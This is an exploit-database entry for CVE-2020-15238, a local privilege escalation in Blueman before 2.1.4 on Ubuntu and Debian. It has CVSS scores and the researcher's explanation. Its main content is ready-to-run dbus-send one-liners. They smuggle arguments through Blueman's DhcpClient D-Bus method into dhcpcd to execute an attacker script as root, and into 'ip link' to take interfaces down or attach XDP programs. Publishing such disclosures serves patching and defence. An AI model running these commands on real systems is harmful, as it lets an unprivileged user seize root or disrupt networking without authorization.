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Vaisha Bernard1337DAY-ID-35134

HistoryOct 28, 2020 - 12:00 a.m.

Blueman < 2.1.4 - Local Privilege Escalation Vulnerability

2020-10-2800:00:00

Vaisha Bernard

0day.today

blueman

local privilege escalation

vulnerability

ubuntu

debian

exploit

dhcpcd

cve-2020-15238

isc-dhcp-client

dos

xdp

CVSS2

6.9

Attack Vector

LOCAL

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:M/Au:N/C:C/I:C/A:C

CVSS3

7.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:L

AI Score

6.8

Confidence

High

EPSS

0.001

Percentile

24.1%

JSON

# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# 
# The DhcpClient method of the d-bus interface to blueman-mechanism 
# is prone to an argument injection vulnerability. 
# On systems where the isc-dhcp-client package is removed 
# and the dhcpcd package installed, this leads to Local 
# Privilege Escalation to root from any unprivileged user. 
# See attached python script for a working exploit. Or use 
# this oneliner with a shellscript "/tmp/eye":
 
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

# This happens because the argument is not sanitized before 
# being used as an argument to dhcpcd.
# 
# Also on default installations with isc-dhcp-client installed, 
# this can lead to DoS attacks by bringing any interface down 
# as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

# Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

# This both happens because the argument is passed to "ip link" 
# unsanitized.